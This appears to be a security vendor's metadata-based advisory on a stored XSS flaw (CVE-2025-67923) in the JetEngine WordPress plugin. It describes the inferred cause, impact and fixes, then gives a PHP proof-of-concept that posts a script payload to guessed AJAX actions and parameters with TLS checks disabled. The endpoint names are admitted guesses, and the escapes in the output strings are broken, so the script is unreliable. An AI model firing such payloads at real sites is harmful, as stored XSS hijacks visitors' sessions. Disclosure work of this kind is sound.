Atomic Edge analysis of CVE-2025-67923 (metadata-based):
This vulnerability is an unauthenticated stored cross-site scripting (XSS) flaw in the JetEngine WordPress plugin. The vulnerability exists in versions up to and including 3.7.7. It allows attackers to inject arbitrary JavaScript into pages that execute when users view those pages. The CVSS score of 7.2 indicates a high-severity issue with network-wide accessibility and no authentication requirements.
The root cause is insufficient input sanitization and output escaping, as indicated by the CWE-79 classification. Atomic Edge research infers that the plugin fails to properly validate or sanitize user-supplied input before storing it in the database. The plugin also fails to escape this data when outputting it to web pages. These conclusions are inferred from the CWE classification and vulnerability description, as no source code diff is available for confirmation.
Exploitation likely occurs through public-facing forms or endpoints that accept user input. Attackers would send malicious payloads containing JavaScript to vulnerable endpoints. These payloads persist in the database and execute when the plugin renders the stored data. Common attack vectors include AJAX handlers, REST API endpoints, or form submissions that bypass proper capability checks. The unauthenticated nature suggests the vulnerable endpoint lacks proper authorization verification.
Remediation requires implementing proper input validation and output escaping. The patch likely adds sanitization functions like `sanitize_text_field()` or `wp_kses()` to user input handling. Output escaping functions like `esc_html()` or `esc_js()` should be added where user-controlled data renders. The plugin should also implement proper capability checks to prevent unauthenticated access to data modification endpoints.
Successful exploitation enables attackers to execute arbitrary JavaScript in victims’ browsers. This can lead to session hijacking, administrative account takeover, content defacement, or malicious redirects. Attackers could inject keyloggers, steal authentication cookies, or perform actions on behalf of authenticated users. The stored nature means a single payload affects all users who view the compromised page.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-67923 - JetEngine <= 3.7.7 - Unauthenticated Stored Cross-Site Scripting
<?php
/**
* Proof of Concept for CVE-2025-67923
* This script demonstrates unauthenticated stored XSS in JetEngine <= 3.7.7
* WARNING: For authorized testing only. Do not use against systems without permission.
*
* ASSUMPTIONS (based on metadata analysis):
* 1. The vulnerability exists in a public-facing endpoint
* 2. The endpoint accepts POST data without authentication
* 3. The plugin stores unsanitized input that renders without escaping
* 4. Common WordPress patterns suggest AJAX or REST API endpoints
*/
$target_url = 'https://example.com';
// Common WordPress AJAX endpoint for plugins
$ajax_endpoint = '/wp-admin/admin-ajax.php';
// Potential action names based on plugin slug 'jet-engine'
// These are educated guesses based on WordPress plugin patterns
$possible_actions = [
'jet_engine_ajax_action',
'jet_engine_save_data',
'jet_engine_submit_form',
'jet_engine_update_field',
'jet-engine-ajax-handler'
];
// XSS payload that demonstrates vulnerability
// Uses a simple alert for proof, but real attacks would use more sophisticated payloads
$xss_payload = '<script>alert("Atomic Edge CVE-2025-67923 PoC");</script>';
// Additional payload variations for testing
$payload_variations = [
'test_field' => $xss_payload,
'data[content]' => $xss_payload,
'value' => $xss_payload,
'input' => $xss_payload
];
echo "Atomic Edge CVE-2025-67923 Proof of Conceptn";
echo "Target: $target_urlnn";
foreach ($possible_actions as $action) {
echo "Testing AJAX action: $actionn";
foreach ($payload_variations as $param => $payload) {
$url = $target_url . $ajax_endpoint;
$post_data = [
'action' => $action,
$param => $payload,
// Some endpoints may require a nonce, but vulnerability suggests it's missing
// '_wpnonce' => 'test' // Uncomment if testing with nonce
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo " Parameter '$param' - HTTP $http_code";
// Check for success indicators
if ($http_code == 200) {
if (strpos($response, 'success') !== false || strpos($response, 'saved') !== false) {
echo " - POTENTIALLY VULNERABLE (success response)n";
echo " Payload sent: $payloadn";
echo " Manual verification required: check if payload persists in plugin outputn";
} else {
echo " - Received 200 but no success indicatorn";
}
} else {
echo " - No success responsen";
}
}
echo "n";
}
echo "Note: This PoC tests common patterns. Actual exploitation requires identifyingn";
echo "the exact vulnerable endpoint and parameter through further testing.n";
?>
